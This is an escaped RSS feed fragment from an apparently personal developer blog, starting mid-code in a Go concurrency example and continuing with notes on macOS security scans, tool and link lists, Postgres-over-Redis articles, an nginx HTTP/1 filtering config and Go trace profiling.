&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">dbData&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">aiResult&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 任務 1：查資料庫&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Go&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 隨時檢查 Context 是否已取消&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">select&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span>&lt;span style="color:#a6e22e">ctx&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">ctx&lt;/span>.&lt;span style="color:#a6e22e">Err&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">default&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 模擬資料庫查詢&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">dbData&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;Historical Data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 任務 2：呼叫 Gemini API&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Go&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 將 ctx 傳入 API 客戶端，讓它能跟隨整體的超時控制&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">genai&lt;/span>.&lt;span style="color:#a6e22e">Generate&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;Analyze this: &amp;#34;&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">code&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">aiResult&lt;/span> = &lt;span style="color:#a6e22e">res&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 等待所有任務完成或其中一個出錯&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">g&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>(); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>{&lt;span style="color:#a6e22e">Data&lt;/span>: &lt;span style="color:#a6e22e">dbData&lt;/span>, &lt;span style="color:#a6e22e">Analysis&lt;/span>: &lt;span style="color:#a6e22e">aiResult&lt;/span>}, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">AnalysisService&lt;/span>) &lt;span style="color:#a6e22e">analyzeStockWithMetrics&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span> &lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) (&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;stock:&amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">code&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">v&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>, &lt;span style="color:#a6e22e">shared&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sf&lt;/span>.&lt;span style="color:#a6e22e">Do&lt;/span>(&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>() (&lt;span style="color:#66d9ef">interface&lt;/span>{}, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">doAnalyzeStock&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 紀錄監控指標：分辨是「原始呼叫」還是「共享結果」&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">status&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;original&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">shared&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">status&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;shared&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sfCounter&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>, &lt;span style="color:#a6e22e">metric&lt;/span>.&lt;span style="color:#a6e22e">WithAttributes&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">attribute&lt;/span>.&lt;span style="color:#a6e22e">String&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;stock_code&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">attribute&lt;/span>.&lt;span style="color:#a6e22e">String&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;type&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">status&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">v&lt;/span>.(&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>), &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="macos-奇怪的安全扫码机制">macOS 奇怪的安全扫码机制&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 查看最近的 syspolicyd 扫描记录&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log show --predicate &lt;span style="color:#e6db74">&amp;#39;subsystem == &amp;#34;com.apple.syspolicy.exec&amp;#34;&amp;#39;&lt;/span> --last 5m --style compact | grep performScan
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>System Settings → Privacy &amp;amp; Security → Full Disk Access，给 VS Code 完全磁盘访问权限有效&lt;/code>&lt;/p></description></item><item><title>Tools</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260315-tools/</link><pubDate>Sun, 15 Mar 2026 17:52:24 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260315-tools/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/sheeki03/tirith" target="_blank" rel="noopener">tirith&lt;/a>: Tirith guards the gate and intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.&lt;/li>
&lt;li>&lt;a href="https://github.com/subtrace/subtrace" target="_blank" rel="noopener">subtrace&lt;/a>: Inspect HTTP requests in any server with just a single command.&lt;/li>
&lt;li>&lt;a href="https://github.com/j178/prek" target="_blank" rel="noopener">prek&lt;/a>: ⚡ Better &lt;code>pre-commit&lt;/code>, re-engineered in Rust&lt;/li>
&lt;li>&lt;a href="https://igorstechnoclub.com/sandbox-exec/" target="_blank" rel="noopener">sandbox-exec&lt;/a>: macOS&amp;rsquo;s Little-Known Command-Line Sandboxing Tool&lt;/li>
&lt;li>&lt;a href="https://github.com/vignesh07/babyshark" target="_blank" rel="noopener">babyshark&lt;/a>: Flows-first PCAP TUI (case files, gorgeous UX).&lt;/li>
&lt;li>&lt;a href="https://github.com/AlexsJones/llmfit" target="_blank" rel="noopener">llmfit&lt;/a>: A terminal tool that right-sizes LLM models to your system&amp;rsquo;s RAM, CPU, and GPU. Detects your hardware, scores each model across quality, speed, fit, and context dimensions, and tells you which ones will actually run well on your machine.&lt;/li>
&lt;/ul>
&lt;h2 id="sandbox-execdeprecated">sandbox-exec(Deprecated)&lt;/h2>
&lt;blockquote>
&lt;p>&lt;code>sandbox-exec -f profile.sb command_to_run&lt;/code>&lt;/p></description></item><item><title>Links</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260314-links/</link><pubDate>Sat, 14 Mar 2026 07:07:03 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260314-links/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://anystorage.dev" target="_blank" rel="noopener">AnyStorage&lt;/a>: AnyStorage brings S3, R2, Backblaze B2, MinIO, and other compatible services into a single desktop workspace with a cleaner rhythm than cloud dashboards.&lt;/li>
&lt;li>&lt;a href="https://brianhsu.dev/referhero/" target="_blank" rel="noopener">歹晚郎內推互助網絡&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://grid.space/stem/" target="_blank" rel="noopener">Grid&lt;/a>: Free, Privacy-First Digital Fabrication Tools for STEM Learning&lt;/li>
&lt;li>&lt;a href="https://audioconvert.ai/british-accent-generator" target="_blank" rel="noopener">Free British Accent Generator&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/rtvkiz/minimal" target="_blank" rel="noopener">minimal&lt;/a>: Minimal CVE Hardened container image collection&lt;/li>
&lt;li>&lt;a href="https://hub.docker.com/hardened-images/catalog" target="_blank" rel="noopener">Docker Hardened Images&lt;/a>: secure, minimal, production-ready images.&lt;/li>
&lt;li>&lt;a href="https://github.com/r-wasm/webr" target="_blank" rel="noopener">webr&lt;/a>: The statistical language R compiled to WebAssembly via Emscripten, for use in web browsers and Node.&lt;/li>
&lt;li>&lt;a href="https://www.canirun.ai/" target="_blank" rel="noopener">Can I Run AI locally?&lt;/a>: Find out which AI models your machine can actually run.&lt;/li>
&lt;li>&lt;a href="https://github.com/saschb2b/cant-maintain" target="_blank" rel="noopener">Can&amp;rsquo;t Maintain&lt;/a>: A &amp;ldquo;Can&amp;rsquo;t Unsee&amp;rdquo;-style training game that teaches junior React/TypeScript developers proper prop naming conventions and JSDoc documentation.&lt;/li>
&lt;li>&lt;a href="https://github.com/MedUnes/go-kata" target="_blank" rel="noopener">Go Katas&lt;/a>: A collection of daily coding challenges designed to help you master idiomatic Go through deliberate, repetitive practice.&lt;/li>
&lt;li>&lt;a href="https://pagedout.institute/" target="_blank" rel="noopener">Paged Out!&lt;/a>: a free experimental (one article == one page) technical magazine about programming (especially programming tricks!), hacking, security hacking, retro computers, modern computers, electronics, demoscene, and other similar topics.&lt;/li>
&lt;li>&lt;a href="https://open-meteo.com/" target="_blank" rel="noopener">Free Weather API&lt;/a>: Open-Meteo is an open-source weather API and offers free access for non-commercial use. No API key required.&lt;/li>
&lt;/ul></description></item><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260313-articles/</link><pubDate>Fri, 13 Mar 2026 18:30:42 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260313-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://leandronsp.com/articles/you-dont-need-kafka-building-a-message-queue-with-only-two-unix-signals" target="_blank" rel="noopener">You don&amp;rsquo;t need Kafka: Building a message queue with only two UNIX signals&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.tigerdata.com/blog/its-2026-just-use-postgres" target="_blank" rel="noopener">It&amp;rsquo;s 2026, Just Use Postgres&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://rednafi.com/go/context-cancellation-cause/" target="_blank" rel="noopener">What canceled my Go context?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://notes.brooklynzelenka.com/Blog/Notes-on-Writing-Wasm" target="_blank" rel="noopener">Notes on Writing Wasm&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://antonz.org/go-1-26/" target="_blank" rel="noopener">Go 1.26 interactive tour&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="its-2026-just-use-postgres">It&amp;rsquo;s 2026, Just Use Postgres&lt;/h2>
&lt;h3 id="the-use-the-right-tool-trap">The &amp;ldquo;Use the Right Tool&amp;rdquo; Trap&lt;/h3>
&lt;p>You&amp;rsquo;ve heard the advice: &amp;ldquo;Use the right tool for the right job.&amp;rdquo;&lt;/p>
&lt;p>Sounds wise. So you end up with:&lt;/p>
&lt;ol>
&lt;li>Elasticsearch for search&lt;/li>
&lt;li>Pinecone for vectors&lt;/li>
&lt;li>Redis for caching&lt;/li>
&lt;li>MongoDB for documents&lt;/li>
&lt;li>Kafka for queues&lt;/li>
&lt;li>InfluxDB for time-series&lt;/li>
&lt;li>PostgreSQL for… the stuff that&amp;rsquo;s left&lt;/li>
&lt;/ol>
&lt;p>Here&amp;rsquo;s what most people don&amp;rsquo;t realize: Postgres extensions use the same or better algorithms as specialized databases (in many cases).&lt;/p></description></item><item><title>Selectively Disabling HTTP/1.0 and HTTP/1.1</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260203-selectively_disabling_http_1/</link><pubDate>Tue, 03 Feb 2026 09:41:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260203-selectively_disabling_http_1/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://markmcb.com/web/selectively_disabling_http_1/" target="_blank" rel="noopener">Selectively Disabling HTTP/1.0 and HTTP/1.1&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">http&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Check for text-based browsers
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#e6db74">map&lt;/span> $http_user_agent $is_text_browser {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">default&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Text-Based Browsers (not exhaustive)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">&amp;#34;~*^w3m&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*^Links&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*^ELinks&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*^lynx&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Bots (not exhaustive)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">&amp;#34;~*Googlebot&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*bingbot&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*Yahoo!&lt;/span> &lt;span style="color:#e6db74">Slurp&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*DuckDuckBot&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*YandexBot&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;~*Kagibot&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Check if request is HTTP/1.X
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">map&lt;/span> $server_protocol $is_http1 {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">default&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;HTTP/1.0&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;HTTP/1.1&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># If Request is not text-based browser,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># and is HTTP/1.X, set the http1_and_unknown variable
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># to 1, which is equivalent to &amp;#34;true&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">map&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$is_http1:$is_text_browser&amp;#34; $http1_and_unknown {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">default&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;1:0&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go Tool Trace</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260127-go-tool-trace/</link><pubDate>Tue, 27 Jan 2026 09:54:42 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260127-go-tool-trace/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10350656" target="_blank" rel="noopener">淺談 Go Tool Trace - 1&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10351336" target="_blank" rel="noopener">淺談 Go Tool Trace - 2 Go Trace 與使用者自訂追蹤分析&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10352139" target="_blank" rel="noopener">淺談 Go Tool Trace - 3 實際分析 Goroutine Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10352141" target="_blank" rel="noopener">Go Tool Trace - 4 從 分析到實戰：最佳化 Goroutine 數量&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.go.dev/cmd/trace@go1.23.0" target="_blank" rel="noopener">trace&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;em>trace 是「事件時間軸」，不是「取樣統計」&lt;/em>&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;code>go tool trace&lt;/code>：用來看 &lt;strong>runtime trace（執行追蹤）&lt;/strong>，本質是「時間序列事件」：
&lt;ul>
&lt;li>goroutine 的建立 / runnable / running / waiting / syscall&lt;/li>
&lt;li>scheduler（G/M/P）相關事件、排程延遲&lt;/li>
&lt;li>blocking（net / sync / syscall）時間分佈&lt;/li>
&lt;li>GC 事件、STW、heap 變化（在 trace viewer 會看到）&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>用 &lt;code>pprof&lt;/code> 是找「熱點」：誰吃 CPU / 誰 alloc 多&lt;/li>
&lt;li>用 &lt;code>trace&lt;/code> 是找「延遲原因」：&lt;strong>為什麼卡&lt;/strong>（排程？鎖？網路？syscall？GC？）&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>直覺判斷：&lt;/p></description></item><item><title>I Replaced Redis with PostgreSQL (And It's Faster)</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260119-i-replaced-redis-with-postgresql-and-its-faster/</link><pubDate>Mon, 19 Jan 2026 15:45:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260119-i-replaced-redis-with-postgresql-and-its-faster/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dev.to/polliog/i-replaced-redis-with-postgresql-and-its-faster-4942" target="_blank" rel="noopener">I Replaced Redis with PostgreSQL (And It&amp;rsquo;s Faster)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="在更改之前redis-主要處理三件事">在更改之前，Redis 主要處理三件事：&lt;/h3>
&lt;ol>
&lt;li>快取（佔使用量的 70%）&lt;/li>
&lt;li>發布/訂閱（佔使用量的 20%）&lt;/li>
&lt;li>後台作業佇列（使用率 10%）&lt;/li>
&lt;/ol>
&lt;p>&lt;strong>&lt;em>痛點:&lt;/em>&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>需要備份兩個資料庫&lt;/li>
&lt;li>Redis 使用記憶體（規模化時成本很高）&lt;/li>
&lt;li>Redis 持久化機制…很複雜。&lt;/li>
&lt;li>Postgres 和 Redis 之間的網路跳躍&lt;/li>
&lt;/ul>
&lt;h3 id="postgresql-功能">PostgreSQL 功能&lt;/h3>
&lt;h5 id="1-使用未記錄表進行快取">1: 使用未記錄表進行快取&lt;/h5>
&lt;p>&lt;strong>&lt;em>Redis&lt;/em>&lt;/strong>&lt;/p>
